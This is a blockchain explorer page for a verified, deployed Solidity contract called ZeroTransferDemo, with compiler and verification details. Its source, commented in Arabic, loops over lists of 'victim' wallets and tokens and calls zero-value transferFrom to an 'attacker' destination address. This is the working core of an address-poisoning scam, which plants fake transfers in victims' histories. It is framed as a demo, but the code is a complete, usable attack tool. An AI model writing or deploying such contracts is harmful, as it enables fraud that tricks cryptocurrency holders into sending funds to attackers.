Verified contractExactMIT
ZeroTransferDemo
Address0x9ebeaa7313f2fafcea0488745fefc7c785c86828
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,437,795
- Creation transaction
- 0xa81516020a…ca5d00d4b7
ZeroTransferDemo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract ZeroTransferDemo {
/// @notice تنفيذ تحويل بقيمة صفر من عناوين محددة إلى عنوان الوجهة
/// @param victims قائمة عناوين المحافظ التي سيتم تنفيذ التحويل منها
/// @param tokens قائمة عناوين عقود الرموز المستهدفة
/// @param destination عنوان الوجهة (في التجربة: عنوان "المهاجم" الوهمي)
function demoZeroTransfer(
address[] calldata victims,
address[] calldata tokens,
address destination
) external {
require(victims.length == tokens.length, "Array length mismatch");
for (uint i = 0; i < victims.length; i++) {
IERC20(tokens[i]).transferFrom(victims[i], destination, 0);
}
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.